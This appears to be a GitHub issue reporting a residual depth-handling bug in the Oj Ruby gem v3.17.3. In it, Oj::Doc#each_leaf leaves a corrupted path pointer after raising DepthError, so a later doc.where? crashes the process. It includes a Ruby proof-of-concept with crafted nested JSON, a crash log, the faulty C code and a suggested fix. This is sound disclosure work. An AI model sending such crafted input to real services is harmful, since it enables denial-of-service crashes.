Skip to content

Residual Oj::Doc#each_leaf depth handling issue in v3.17.3 causes SIGSEGV after rescuing DepthError #1017

Description

@damseleng

Hello,

I found what appears to be a residual Oj::Doc depth-handling issue in Oj v3.17.3.

I saw the recently published advisory for Oj::Doc#each_child deep nesting (GHSA-3m6q-jj5j-38c9 / CVE-2026-54592), which is marked as fixed in v3.17.3. This report is for a different path: Oj::Doc#each_leaf still appears to increment doc->where before checking MAX_STACK. If the bounds check raises Oj::DepthError, Ruby code can rescue the exception while the Doc object is still live inside the Oj::Doc.open block. A later call to doc.where? then dereferences corrupted path state and crashes the Ruby process.

Tested version:

Repository: ohler55/oj
Commit: bbde91a
Tag: v3.17.3
Ruby: ruby 3.2.3
Platform: x86_64 Linux

Minimal reproducer:

require 'oj'

MAX_STACK = 100
key = 'k' * 23 + "\x08"
json = '{"' + key + '": ' + '[' * (MAX_STACK - 1) + '1' + ']' * (MAX_STACK - 1) + '}'

Oj::Doc.open(json) do |doc|
begin
doc.each_leaf {}
rescue Oj::DepthError
doc.where?
end
end

Run:

RUBYLIB="ext:lib" ruby poc_oj_doc_each_leaf_where_segv.rb

Observed result:

[BUG] Segmentation fault
...
CFUNC :where?
...
oj.so(esc_strlen+0x0) ext/oj/fast.c:1216
oj.so(doc_where) ext/oj/fast.c:1216

Root cause appears to be the post-increment bounds check in each_leaf:

doc->where++;
if (MAX_STACK <= doc->where - doc->where_path) {
rb_raise(...);
}

If rb_raise is triggered after doc->where++, control returns to Ruby via exception handling before doc->where-- executes. The live Doc object is then left with doc->where pointing one slot past where_path[MAX_STACK].

This looks similar in shape to the recently fixed each_child issue, but it is reachable in v3.17.3 through each_leaf and doc.where?.

A likely fix is to use the same pre-check pattern as the fixed each_child path:

if (MAX_STACK <= (doc->where + 1) - doc->where_path) {
rb_raise(...);
}
doc->where++;

or otherwise ensure doc->where is restored before raising.

Impact:

This allows attacker-controlled JSON input to crash a Ruby process if an application uses Oj::Doc#each_leaf, rescues Oj::DepthError, and then calls doc.where? or doc.where while still inside the Oj::Doc.open block. I am not claiming code execution.

I have a reduced local reproduction package with the PoC, tested commit details, and crash log if useful.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions